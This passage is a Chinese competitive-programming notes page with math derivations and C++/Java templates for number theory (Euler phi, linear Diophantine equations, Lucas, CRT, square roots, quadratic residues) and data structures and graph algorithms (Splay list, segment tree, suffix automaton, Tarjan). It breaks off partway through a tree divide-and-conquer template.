<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mi>到</mi><mi>n</mi><mi>中</mi><mi>与</mi><mi>n</mi><mi>互</mi><mi>质</mi><mi>的</mi><mi>数</mi><mi>的</mi><mi>和</mi><munder><mo>∑</mo><mtable><mtr><mtd columnalign="center" style="text-align: center"><mrow><mn>1</mn><mo>≤</mo><mi>k</mi><mo>≤</mo><mi>n</mi></mrow></mtd></mtr><mtr><mtd columnalign="center" style="text-align: center"><mrow><mrow><mo stretchy="true" form="prefix">(</mo><mi>k</mi><mo>,</mo><mi>n</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><mn>1</mn></mrow></mtd></mtr></mtable></munder><mi>k</mi><mo>=</mo><mfrac><mrow><mi>n</mi><mi>φ</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>n</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow><mn>2</mn></mfrac></mrow><annotation encoding="application/x-tex">
1到n中与n互质的数的和\sum_{\substack{1\leq k \leq n \\ (k,n)=1}}{k}=\frac{n\varphi(n)}{2}
</annotation></semantics></math></p>
<pre class="cpp"><code>LL phi(LL n) {
LL rst = n;
for (int i = 2; (LL)i*i <= n; i++) {
if (n%i == 0) {
rst -= rst / i;
do n /= i; while (n%i == 0);
}
}
if (n > 1)
rst -= rst / n;
return rst;
}</code></pre>
<h2 id="axbyc的整数解"><math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mi>x</mi><mo>+</mo><mi>b</mi><mi>y</mi><mo>=</mo><mi>c</mi></mrow><annotation encoding="application/x-tex">ax+by=c</annotation></semantics></math>的整数解</h2>
<p>设<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>g</mi><mo>=</mo><mi>g</mi><mi>c</mi><mi>d</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>a</mi><mo>,</mo><mi>b</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">g=gcd(a, b)</annotation></semantics></math>,那么当<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>g</mi><mo>∤</mo><mi>c</mi></mrow><annotation encoding="application/x-tex">g\nmid c</annotation></semantics></math>时,没有整数解。</p>
<p>先用扩展欧几里得求出<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mi>x</mi><mi>′</mi><mo>+</mo><mi>b</mi><mi>y</mi><mi>′</mi><mo>=</mo><mi>g</mi></mrow><annotation encoding="application/x-tex">ax'+by'=g</annotation></semantics></math>的特解<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><msub><mi>′</mi><mn>0</mn></msub><mo>,</mo><mi>y</mi><msub><mi>′</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">x'_0,y'_0</annotation></semantics></math>。</p>
<p><em>注意,原方程的通解不能表示为<del><math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>=</mo><mi>c</mi><mi>/</mi><mi>g</mi><mo>×</mo><mi>x</mi><msub><mi>′</mi><mn>0</mn></msub><mo>,</mo><mi>y</mi><mo>=</mo><mi>c</mi><mi>/</mi><mi>g</mi><mo>×</mo><mi>y</mi><msub><mi>′</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">x=c/g\times x'_0, y=c/g\times y'_0</annotation></semantics></math></del></em>,而应该表示为</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="true" form="prefix">{</mo><mtable><mtr><mtd columnalign="left" style="text-align: left"><mi>x</mi><mo>=</mo><mfrac><mi>c</mi><mi>g</mi></mfrac><mo>⋅</mo><mi>x</mi><msub><mi>′</mi><mn>0</mn></msub><mo>+</mo><mfrac><mi>b</mi><mi>g</mi></mfrac><mo>⋅</mo><mi>t</mi></mtd></mtr><mtr><mtd columnalign="left" style="text-align: left"><mi>y</mi><mo>=</mo><mfrac><mi>c</mi><mi>g</mi></mfrac><mo>⋅</mo><mi>y</mi><msub><mi>′</mi><mn>0</mn></msub><mo>−</mo><mfrac><mi>a</mi><mi>g</mi></mfrac><mo>⋅</mo><mi>t</mi></mtd></mtr></mtable></mrow><annotation encoding="application/x-tex">
\begin{cases}
x=\frac cg\cdot x'_0+\frac bg\cdot t \\
y=\frac cg\cdot y'_0-\frac ag\cdot t
\end{cases}
</annotation></semantics></math></p>
<p>根据上式,如果要求<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mi>x</mi><annotation encoding="application/x-tex">x</annotation></semantics></math>或<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mi>y</mi><annotation encoding="application/x-tex">y</annotation></semantics></math>的最小非负整数解也很容易了,即<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mi>c</mi><mi>g</mi></mfrac><mi>x</mi><msub><mi>′</mi><mn>0</mn></msub><mspace width="0.222em"></mspace><mi>%</mi><mfrac><mi>b</mi><mi>g</mi></mfrac></mrow><annotation encoding="application/x-tex">\frac cg x'_0\ \% \frac bg</annotation></semantics></math>或<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mi>c</mi><mi>g</mi></mfrac><mi>y</mi><msub><mi>′</mi><mn>0</mn></msub><mspace width="0.222em"></mspace><mi>%</mi><mfrac><mi>a</mi><mi>g</mi></mfrac></mrow><annotation encoding="application/x-tex">\frac cg y'_0\ \% \frac ag</annotation></semantics></math>。</p>
<pre class="cpp"><code>LL xg0, yg0;
LL g = exgcd(a, b, xg0, yg0);
if(c%g) {
puts("No solution");
return 0;
}
// x为最小非负整数
LL x1 = posmod(c/g*xg0, b/g);
LL y1 = (c-a*x1)/b;
// y为最小非负整数
LL y2 = posmod(c/g*yg0, a/g);
LL x2 = (c-b*y2)/a;</code></pre>
<h2 id="lucas定理">Lucas定理</h2>
<p>计算<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mrow><mo stretchy="true" form="prefix">(</mo><mfrac linethickness="0"><mi>n</mi><mi>m</mi></mfrac><mo stretchy="true" form="postfix">)</mo></mrow><mi>%</mi><mi>p</mi></mrow><annotation encoding="application/x-tex">\binom{n}{m}\%p</annotation></semantics></math>,其中n和m很大而p为质数且不是很大的情况。</p>
<p>将n和m按p进制展开,即设: <math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><msub><mi>n</mi><mi>k</mi></msub><msup><mi>p</mi><mi>k</mi></msup><mo>+</mo><msub><mi>n</mi><mrow><mi>k</mi><mo>−</mo><mn>1</mn></mrow></msub><msup><mi>p</mi><mrow><mi>k</mi><mo>−</mo><mn>1</mn></mrow></msup><mo>+</mo><mi>…</mi><mo>+</mo><msub><mi>n</mi><mn>1</mn></msub><mi>p</mi><mo>+</mo><msub><mi>n</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">
n=n_kp^k+n_{k-1}p^{k-1}+\dots+n_1p+n_0
</annotation></semantics></math></p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi><mo>=</mo><msub><mi>m</mi><mi>k</mi></msub><msup><mi>p</mi><mi>k</mi></msup><mo>+</mo><msub><mi>m</mi><mrow><mi>k</mi><mo>−</mo><mn>1</mn></mrow></msub><msup><mi>p</mi><mrow><mi>k</mi><mo>−</mo><mn>1</mn></mrow></msup><mo>+</mo><mi>…</mi><mo>+</mo><msub><mi>m</mi><mn>1</mn></msub><mi>p</mi><mo>+</mo><msub><mi>m</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">
m=m_kp^k+m_{k-1}p^{k-1}+\dots+m_1p+m_0
</annotation></semantics></math></p>
<p>则: <math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mrow><mo stretchy="true" form="prefix">(</mo><mfrac linethickness="0"><mi>n</mi><mi>m</mi></mfrac><mo stretchy="true" form="postfix">)</mo></mrow><mo>≡</mo><mo>∏</mo><mrow><mo stretchy="true" form="prefix">(</mo><mfrac linethickness="0"><msub><mi>n</mi><mi>i</mi></msub><msub><mi>m</mi><mi>i</mi></msub></mfrac><mo stretchy="true" form="postfix">)</mo></mrow><mrow><mo stretchy="true" form="prefix">(</mo><mspace width="0.444em"></mspace><mo>mod</mo><mspace width="0.222em"></mspace><mi>p</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">
\binom nm \equiv \prod \binom{n_i}{m_i} (\mod p)
</annotation></semantics></math></p>
<pre class="cpp"><code>inline LL lucas(LL n, LL m, int p) {
if (n < m) return 0;
LL rst = 1;
while (m) {
int nn = n % p, mm = m % p;
if (nn < mm) return 0;
rst = rst * comb(nn, mm) % p;
n /= p;
m /= p;
}
return rst;
}</code></pre>
<h2 id="模线性方程组">模线性方程组</h2>
<p>解方程组: <math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>≡</mo><msub><mi>a</mi><mi>i</mi></msub><mrow><mo stretchy="true" form="prefix">(</mo><mspace width="0.444em"></mspace><mo>mod</mo><mspace width="0.222em"></mspace><msub><mi>m</mi><mi>i</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">
x \equiv a_i (\mod m_i)
</annotation></semantics></math></p>
<h3 id="m_i两两互质"><math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>m</mi><mi>i</mi></msub><annotation encoding="application/x-tex">m_i</annotation></semantics></math>两两互质</h3>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mtable><mtr><mtd columnalign="right" style="text-align: right"></mtd><mtd columnalign="left" style="text-align: left"><mi>M</mi><mo>=</mo><mo>∏</mo><msub><mi>m</mi><mi>i</mi></msub></mtd></mtr><mtr><mtd columnalign="right" style="text-align: right"></mtd><mtd columnalign="left" style="text-align: left"><msub><mi>W</mi><mi>i</mi></msub><mo>=</mo><mfrac><mi>M</mi><msub><mi>m</mi><mi>i</mi></msub></mfrac></mtd></mtr><mtr><mtd columnalign="right" style="text-align: right"></mtd><mtd columnalign="left" style="text-align: left"><mi>x</mi><mo>≡</mo><mo>∑</mo><mrow><msub><mi>a</mi><mi>i</mi></msub><msub><mi>W</mi><mi>i</mi></msub><mrow><mo stretchy="true" form="prefix">(</mo><msubsup><mi>W</mi><mi>i</mi><mrow><mo>−</mo><mn>1</mn></mrow></msubsup><mrow><mspace width="0.444em"></mspace><mo>mod</mo><mspace width="0.222em"></mspace><msub><mi>m</mi><mi>i</mi></msub></mrow><mo stretchy="true" form="postfix">)</mo></mrow></mrow><mrow><mo stretchy="true" form="prefix">(</mo><mspace width="0.444em"></mspace><mo>mod</mo><mspace width="0.222em"></mspace><mi>M</mi><mo stretchy="true" form="postfix">)</mo></mrow></mtd></mtr></mtable><annotation encoding="application/x-tex">
\begin{align}
&M = \prod{m_i} \\
&W_i = \frac M{m_i} \\
&x \equiv \sum{a_iW_i(W_i^{-1} \mod m_i)} (\mod M)
\end{align}
</annotation></semantics></math></p>
<h3 id="m_i不满足两两互质"><math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>m</mi><mi>i</mi></msub><annotation encoding="application/x-tex">m_i</annotation></semantics></math>不满足两两互质</h3>
<pre class="cpp"><code>LL crt(LL m[], LL r[], int n) {
LL M = m[0], R = r[0];
for (int i = 1; i < n; i++) {
LL x, y;
LL g = exgcd(M, m[i], x, y);
if ((r[i] - R) % g) return -1;
x = (r[i] - R) / g * x % (m[i] / g);
R += x * M;
M = M / g * m[i];
R %= M;
}
return (R+M)%M;
}</code></pre>
<h2 id="splay">Splay</h2>
<p>Splay List模板。</p>
<p>支持:初始化,单点增删改查,区间增删改、最值、求和、翻转、提取。</p>
<p>TODO: 分割,合并。</p>
<pre class="cpp"><code>#include <cstdio>
#include <algorithm>
#include <cstring>
#include <vector>
#include <stack>
using namespace std;
typedef long long LL;
const int MAXN = 1000010;
const LL INF = 0x3f3f3f3f3f3f3f3f;
struct Node {
LL val;
int ch[2], fa, sz;
bool toSet;
LL set, add;
bool rev;
LL min, max, sum;
};
static Node V[MAXN];
static int pool[MAXN], con;
struct SplayList {
static void makePool() {
con = 0;
for (int i = 1; i < MAXN; i++) {
pool[i] = i;
}
}
static int alloc(LL val) {
int r = pool[++con];
V[r] = Node();
V[r].val = V[r].min = V[r].max = V[r].sum = val;
V[r].sz = 1;
return r;
}
static void free(int x) {
pool[con--] = x;
}
// 如果需要O(logn)的区间删除,就清空freeRec函数体
static void freeRec(int x) {
//if (V[x].ch[0]) freeRec(V[x].ch[0]);
//if (V[x].ch[1]) freeRec(V[x].ch[1]);
//free(x);
}
static void pushUp(int x) {
if (!x) return;
int& ls = V[x].ch[0], &rs = V[x].ch[1];
V[x].sz = 1;
if (ls) V[x].sz += V[ls].sz;
if (rs) V[x].sz += V[rs].sz;
V[x].min = V[x].val;
if (ls) V[x].min = min(V[x].min, V[ls].min);
if (rs) V[x].min = min(V[x].min, V[rs].min);
V[x].max = V[x].val;
if (ls) V[x].max = max(V[x].max, V[ls].max);
if (rs) V[x].max = max(V[x].max, V[rs].max);
V[x].sum = V[x].val;
if (ls) V[x].sum += V[ls].sum;
if (rs) V[x].sum += V[rs].sum;
}
// tag表示该节点已操作,但子节点未操作
static void pushDown(int x) {
if (!x) return;
int& ls = V[x].ch[0], &rs = V[x].ch[1];
if (V[x].rev) {
if (ls) {
swap(V[ls].ch[0], V[ls].ch[1]);
V[ls].rev = !V[ls].rev;
}
if (rs) {
swap(V[rs].ch[0], V[rs].ch[1]);
V[rs].rev = !V[rs].rev;
}
V[x].rev = false;
}
if (V[x].toSet) {
if (ls) {
V[ls].val = V[ls].min = V[ls].max = V[x].set;
V[ls].sum = V[x].set*V[ls].sz;
V[ls].toSet = true;
V[ls].set = V[x].set;
V[ls].add = 0;
}
if (rs) {
V[rs].val = V[rs].min = V[rs].max = V[x].set;
V[rs].sum = V[x].set*V[rs].sz;
V[rs].toSet = true;
V[rs].set = V[x].set;
V[rs].add = 0;
}
V[x].toSet = false;
}
if (V[x].add) {
if (ls) {
V[ls].val += V[x].add;
V[ls].min += V[x].add;
V[ls].max += V[x].add;
V[ls].sum += V[x].add*V[ls].sz;
V[ls].add += V[x].add;
}
if (rs) {
V[rs].val += V[x].add;
V[rs].min += V[x].add;
V[rs].max += V[x].add;
V[rs].sum += V[x].add*V[rs].sz;
V[rs].add += V[x].add;
}
V[x].add = 0;
}
}
static void rotate(int x) {
int y = V[x].fa, z = V[y].fa;
int tx = V[y].ch[1] == x, ty = V[z].ch[1] == y;
V[z].ch[ty] = x;
V[x].fa = z;
V[y].ch[tx] = V[x].ch[!tx];
if(V[x].ch[!tx]) V[V[x].ch[!tx]].fa = y;
V[x].ch[!tx] = y;
V[y].fa = x;
pushUp(y); pushUp(x);
}
int root = 0;
static int genTree(LL val[], int l, int r) {
if (l > r) return 0;
int mid = l + r >> 1;
int x = alloc(val[mid]);
V[x].ch[0] = genTree(val, l, mid - 1);
V[x].ch[1] = genTree(val, mid + 1, r);
V[V[x].ch[0]].fa = V[V[x].ch[1]].fa = x;
pushUp(x);
return x;
}
SplayList(LL val[]=nullptr, int n=0) {
root = genTree(val, 0, n - 1);
}
vector<LL> toVector() const {
vector<LL> rst(size());
stack<int> stk;
int p = root, q = 0;
while (p || !stk.empty()) {
while (p) {
pushDown(p);
stk.push(p);
p = V[p].ch[0];
}
if (!stk.empty()) {
p = stk.top();
stk.pop();
rst[q++] = V[p].val;
p = V[p].ch[1];
}
}
return rst;
}
int size() const {
return V[root].sz;
}
void splay(int x, int goal) {
pushDown(x);
while (V[x].fa != goal) {
int y = V[x].fa, z = V[y].fa;
pushDown(z); pushDown(y); pushDown(x);
int tx = V[y].ch[1] == x, ty = V[z].ch[1] == y;
if (z != goal) {
if (tx == ty) rotate(y);
else rotate(x);
}
rotate(x);
}
if (goal == 0) root = x;
}
// pos: 1~n
int at(int pos) const {
int p = root;
while (p) {
pushDown(p);
if (V[V[p].ch[0]].sz == pos - 1) return p;
else if (V[V[p].ch[0]].sz >= pos) p = V[p].ch[0];
else {
pos -= V[V[p].ch[0]].sz + 1;
p = V[p].ch[1];
}
}
return 0;
}
// pos: 0~n
int insert(int pos, LL val) {
int nn = alloc(val);
if (root == 0) {
root = nn;
}
else if (pos == 0) {
splay(at(1), 0);
V[root].ch[0] = nn;
V[nn].fa = root;
pushUp(root);
}
else if (pos == size()) {
splay(at(pos), 0);
V[root].ch[1] = nn;
V[nn].fa = root;
pushUp(root);
}
else {
splay(at(pos), 0);
int fa;
splay(fa = at(pos + 1), root);
V[fa].ch[0] = nn;
V[nn].fa = fa;
pushUp(fa);
pushUp(root);
}
return nn;
}
// pos: 1~n
void erase(int pos) {
if (pos == 1) {
splay(at(1), 0);
int x = root;
root = V[root].ch[1];
V[root].fa = 0;
free(x);
pushDown(root);
pushUp(root);
}
else if (pos == size()) {
splay(at(pos), 0);
int x = root;
root = V[root].ch[0];
V[root].fa = 0;
free(x);
pushDown(root);
pushUp(root);
}
else {
splay(at(pos - 1), 0);
int fa;
splay(fa = at(pos + 1), root);
int x = V[fa].ch[0];
V[fa].ch[0] = 0;
free(x);
pushDown(fa);
pushUp(fa);
pushDown(root);
pushUp(root);
}
}
void modify(int pos, LL val) {
splay(at(pos), 0);
V[root].val = val;
pushUp(root);
}
LL operator[](int pos) const {
return V[at(pos)].val;
}
int range(int l, int r) {
if (l == 1 && r == size()) return root;
else if (l == 1) {
splay(at(r + 1), 0);
return V[root].ch[0];
}
else if (r == size()) {
splay(at(l - 1), 0);
return V[root].ch[1];
}
else {
splay(at(l - 1), 0);
int fa;
splay(fa = at(r + 1), root);
return V[fa].ch[0];
}
}
LL Min(int l, int r) {
return V[range(l, r)].min;
}
LL Max(int l, int r) {
return V[range(l, r)].max;
}
LL sum(int l, int r) {
return V[range(l, r)].sum;
}
void reverse(int l, int r) {
int x = range(l, r);
swap(V[x].ch[0], V[x].ch[1]);
V[x].rev = !V[x].rev;
// 这里不pushup是因为其他信息不受影响
}
void modify(int l, int r, LL val) {
int x = range(l, r);
V[x].val = V[x].min = V[x].max = val;
V[x].sum = val * V[x].sz;
V[x].toSet = true;
V[x].set = val;
V[x].add = 0;
pushUp(V[x].fa);
pushUp(V[V[x].fa].fa);
}
void add(int l, int r, LL delta) {
int x = range(l, r);
V[x].val += delta;
V[x].min += delta;
V[x].max += delta;
V[x].sum += delta * V[x].sz;
V[x].add += delta;
pushUp(V[x].fa);
pushUp(V[V[x].fa].fa);
}
void erase(int l, int r) {
int x = range(l, r);
int y = V[x].fa;
if (y == 0) {
root = 0;
}
else {
int t = V[y].ch[1] == x;
V[y].ch[t] = 0;
pushUp(y);
pushUp(V[y].fa);
}
freeRec(x);
}
};</code></pre>
<h2 id="除法取整分块">除法取整分块</h2>
<p>相同的<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false" form="prefix">⌊</mo><mfrac><mi>n</mi><mi>i</mi></mfrac><mo stretchy="false" form="postfix">⌋</mo></mrow><annotation encoding="application/x-tex">\lfloor \frac ni \rfloor</annotation></semantics></math>分为一块。</p>
<pre class="cpp"><code>#include <cstdio>
int main() {
int n = 50;
for (int i = 1, j=0; i <= n; i = j + 1) {
int temp = j;
j = n / (n / i);
printf("cnt:%d %d/(%d..%d)=%d\n", j-temp, n, temp+1, j, n/j);
}
}</code></pre>
<h2 id="heron法开方其实也是newton法">Heron法开方(其实也是Newton法)</h2>
<p>返回平方根向下取整,较快。</p>
<pre class="java"><code>static BigInteger sqrt(BigInteger n) {
BigInteger rst = BigInteger.ONE.shiftLeft(n.bitLength()>>1);
while(rst.pow(2).compareTo(n)>0 || rst.add(BigInteger.ONE).pow(2).compareTo(n)<=0) {
rst = n.divide(rst).add(rst).shiftRight(1);
}
return rst;
}</code></pre>
<h2 id="newton法开方">Newton法开方</h2>
<h3 id="整数">整数</h3>
<p>较慢</p>
<pre class="java"><code>static BigInteger sqrt(BigInteger n) {
BigInteger x = n, y = n.add(BigInteger.ONE).shiftRight(1);
while(y.compareTo(x)<0) {
x = y;
y = x.add(n.divide(x)).shiftRight(1);
}
return x;
}</code></pre>
<h3 id="小数">小数</h3>
<p>推荐。</p>
<pre class="java"><code>static final BigDecimal TWO = BigDecimal.valueOf(2);
static BigDecimal sqrt(BigDecimal n, final int SCALE) {
double dn = n.doubleValue();
BigDecimal temp = null, x;
if(Double.isFinite(dn)) {
if(Math.abs(dn)<1e-10) return ZERO;
x = BigDecimal.valueOf(Math.sqrt(n.doubleValue()));
}
else
x = new BigDecimal(BigInteger.ONE.shiftLeft(n.toBigInteger().bitLength()>>1));
while(!x.equals(temp)) {
temp = x;
x = n.divide(x, SCALE, ROUND_HALF_EVEN).add(x).divide(TWO, SCALE, ROUND_HALF_EVEN);
}
return x;
}</code></pre>
<h2 id="平方剩余">平方剩余</h2>
<h3 id="模数为奇质数">模数为奇质数</h3>
<p>判断<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>x</mi><mn>2</mn></msup><mo>≡</mo><mi>a</mi><mrow><mo stretchy="true" form="prefix">(</mo><mspace width="0.444em"></mspace><mo>mod</mo><mspace width="0.222em"></mspace><mi>p</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">x^2\equiv a (\mod p)</annotation></semantics></math>是否有解,要求p是奇质数。</p>
<p>用多次测试的方法可以检测一个大数是否为完全平方数。</p>
<pre class="cpp"><code>inline bool quadraticResidue(LL a, LL p) {
a%=p;
return a==0 || fastPow(a, p >> 1, p) == 1;
}</code></pre>
<h3 id="模数为奇数">模数为奇数</h3>
<p>分解<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi><mo>=</mo><msubsup><mi>p</mi><mn>1</mn><msub><mi>k</mi><mn>1</mn></msub></msubsup><msubsup><mi>p</mi><mn>2</mn><msub><mi>k</mi><mn>2</mn></msub></msubsup><mi>…</mi><msubsup><mi>p</mi><mi>r</mi><msub><mi>k</mi><mi>r</mi></msub></msubsup></mrow><annotation encoding="application/x-tex">m=p_1^{k_1}p_2^{k_2} \dots p_r^{k_r}</annotation></semantics></math>,然后逐个判断<code>quadraticResidue(a, p_i)</code>。</p>
<h2 id="线段树">线段树</h2>
<p>区间加、乘。</p>
<pre class="cpp"><code>/// 洛谷 P3373
#include <cstdio>
#include <algorithm>
#include <cstring>
using namespace std;
typedef long long LL;
const int MAXN = 1e5 + 10;
int n, m;
LL mod;
struct {
LL sum;
LL add, mul;
int l, r;
int len() const {
return r - l + 1;
}
} T[MAXN*4];
LL a[MAXN];
#define LS (O<<1)
#define RS (O<<1|1)
#define M (T[O].l+T[O].r>>1)
inline void pullUp(int O) {
T[O].sum = (T[LS].sum + T[RS].sum) % mod;
}
inline void pushDown(int O) {
LL& add = T[O].add, &mul = T[O].mul;
T[LS].sum = T[LS].sum*mul%mod;
T[LS].mul = T[LS].mul*mul%mod;
T[LS].add = T[LS].add*mul%mod;
T[RS].sum = T[RS].sum*mul%mod;
T[RS].mul = T[RS].mul*mul%mod;
T[RS].add = T[RS].add*mul%mod;
mul = 1;
T[LS].sum = (T[LS].sum + add*T[LS].len()%mod) % mod;
T[LS].add = (T[LS].add + add) % mod;
T[RS].sum = (T[RS].sum + add*T[RS].len()%mod) % mod;
T[RS].add = (T[RS].add + add) % mod;
add = 0;
}
inline LL query(int l, int r, int O) {
if (l <= T[O].l && T[O].r <= r) {
return T[O].sum;
}
pushDown(O);
LL rst = 0;
if (l <= M)
rst = query(l, r, LS);
if (r > M)
rst = (rst + query(l, r, RS)) % mod;
pullUp(O);
return rst;
}
inline void updateAdd(int l, int r, LL d, int O) {
if (l <= T[O].l && T[O].r <= r) {
T[O].sum = (T[O].sum + d * T[O].len() % mod) % mod;
T[O].add = (T[O].add + d) % mod;
return;
}
pushDown(O);
if (l <= M)
updateAdd(l, r, d, LS);
if (r > M)
updateAdd(l, r, d, RS);
pullUp(O);
}
inline void updateMul(int l, int r, LL d, int O) {
if (l <= T[O].l && T[O].r <= r) {
T[O].sum = T[O].sum*d % mod;
T[O].add = T[O].add*d % mod;
T[O].mul = T[O].mul*d % mod;
return;
}
pushDown(O);
if (l <= M)
updateMul(l, r, d, LS);
if (r > M)
updateMul(l, r, d, RS);
pullUp(O);
}
inline void build(int O, int L, int R) {
T[O] = { 0,0,1,L,R };
if (L == R) {
T[O].sum = a[L];
return;
}
build(LS, L, M);
build(RS, M+1, R);
pullUp(O);
}
int main() {
while (scanf("%d%d%lld", &n, &m, &mod) == 3) {
for (int i = 1; i <= n; i++) {
scanf("%lld", a + i);
}
build(1, 1, n);
for (int i = 0; i < m; i++) {
int op;
scanf("%d", &op);
if (op == 1) {
int x, y;
LL k;
scanf("%d%d%lld", &x, &y, &k);
updateMul(x, y, k, 1);
}
else if (op == 2) {
int x, y;
LL k;
scanf("%d%d%lld", &x, &y, &k);
updateAdd(x, y, k, 1);
}
else if (op == 3) {
int x, y;
scanf("%d%d", &x, &y);
printf("%lld\n", query(x, y, 1));
}
}
}
return 0;
}</code></pre>
<h2 id="后缀自动机">后缀自动机</h2>
<pre class="cpp"><code>/// hihoCoder 1445
#include <cstdio>
#include <algorithm>
#include <cstring>
using namespace std;
const int MAXL = 1e6+10, MAXHA = 26;
struct SuffixAutomaton {
struct {
int par, ch[MAXHA];
int maxlen;
} v[MAXL*2];
int cos = 1, s = 1, last = 1;
int newState() {
return ++cos;
}
int push(int ha) {
int p = last;
const int np = newState();
last = np;
v[np].maxlen = v[p].maxlen + 1;
while (p && !v[p].ch[ha]) {
v[p].ch[ha] = np;
p = v[p].par;
}
if (!p) {
v[np].par = s;
return np;
}
const int q = v[p].ch[ha];
if (v[q].maxlen == v[p].maxlen + 1)
v[np].par = q;
else {
const int nq = newState();
v[nq].maxlen = v[p].maxlen + 1;
memcpy(v[nq].ch, v[q].ch, sizeof v[q].ch);
v[nq].par = v[q].par;
v[q].par = v[np].par = nq;
while (v[p].ch[ha] == q) {
v[p].ch[ha] = nq;
p = v[p].par;
}
}
return np;
}
};
char a[MAXL];
SuffixAutomaton sa;
int main() {
scanf("%s", a);
for (char* p = a; *p; ++p) {
sa.push(*p - 'a');
}
long long ans = 0;
for (int i = 2; i <= sa.cos; i++) {
ans += sa.v[i].maxlen - sa.v[sa.v[i].par].maxlen;
}
printf("%lld\n", ans);
return 0;
}</code></pre>
<h2 id="tarjan强连通分量">Tarjan强连通分量</h2>
<pre class="cpp"><code>/// HDU 1269
#include <cstdio>
#include <algorithm>
#include <cstring>
using namespace std;
const int MAXN = 1e5 + 10, MAXM = 1e6 + 10;
int n, m;
struct {
int v, next;
} e[MAXM];
int head[MAXN], coe;
void addEdge(int u, int v) {
e[coe].v = v;
e[coe].next = head[u];
head[u] = coe++;
}
int idx, stk[MAXN], ps, dfn[MAXN], low[MAXN];
bool instack[MAXN];
int belong[MAXN], nscc;
void tarjan(int u) {
dfn[u] = low[u] = ++idx;
stk[ps++] = u;
instack[u] = true;
for (int i = head[u]; i != -1; i = e[i].next) {
int v = e[i].v;
if (!dfn[v]) {
tarjan(v);
low[u] = min(low[u], low[v]);
}
else if (instack[v]) {
low[u] = min(low[u], dfn[v]);
}
}
if (low[u] == dfn[u]) {
++nscc;
int temp;
do {
temp = stk[--ps];
belong[temp] = nscc;
instack[temp] = false;
} while (temp != u);
}
}
void scc() {
idx = 0;
nscc = 0;
memset(dfn, 0, sizeof dfn);
for (int i = 1; i <= n; i++) {
if (!dfn[i])
tarjan(i);
}
}
int main() {
while (scanf("%d%d", &n, &m) == 2 && (n||m)) {
memset(head, -1, sizeof head);
coe = 0;
for (int i = 0; i < m; i++) {
int a, b;
scanf("%d%d", &a, &b);
addEdge(a, b);
}
scc();
puts(nscc == 1 ? "Yes" : "No");
}
return 0;
}</code></pre>
<h2 id="tarjan割点与桥">Tarjan割点与桥</h2>
<pre class="cpp"><code>int idx, low[MAXN], dfn[MAXN];
int ncc[MAXN]; // 删除当前点,所在联通分量会变为几块。大于1是割点,等于0是孤立点
// 对每个连通块执行一次tarjan(u, -1)
void tarjan(int u, int fa) {
dfn[u] = low[u] = ++idx;
ncc[u] = fa != -1;
for (int i = head[u]; i != -1; i = e[i].next) {
int v = e[i].v;
if (v == fa) continue;
if (!dfn[v]) {
tarjan(v, u);
low[u] = min(low[u], low[v]);
if (fa==-1 || dfn[u] <= low[v])
ncc[u]++;
if (dfn[u] < low[v]) {
// uv是桥
}
}
else {
low[u] = min(low[u], dfn[v]);
}
}
}</code></pre>
<h2 id="树分治">树分治</h2>
<pre class="cpp"><code>/// POJ 1741
#include <cstdio>
#include <algorithm>
#include <cstring>
#include <utility>
#include <vector>
using namespace std;
typedef long long LL;
const int MAXN = 10010;
int n;
LL k;
struct {
int v, next;
LL w;
} e[MAXN*2];
int head[MAXN], coe;
void addEdge(int u, int v, LL w) {
e[coe].v = v;
e[coe].w = w;
e[coe].next = head[u];
head[u] = coe++;
}
bool rooted[MAXN];
int sz[MAXN], maxChildSz[MAXN];
int dfsSize(int u, int fa) {
sz[u] = 1;
for(int i=head[u]; i!=-1; i=e[i].next) {
int v = e[i].v;
if(v==fa || rooted[v]) continue;
sz[u] += dfsSize(v, u);
}
return sz[u];
}
void dfsMaxChild(int u, int fa, int r) {
maxChildSz[u] = sz[r]-sz[u];
for(int i=head[u]; i!=-1; i=e[i].next) {
int v = e[i].v;
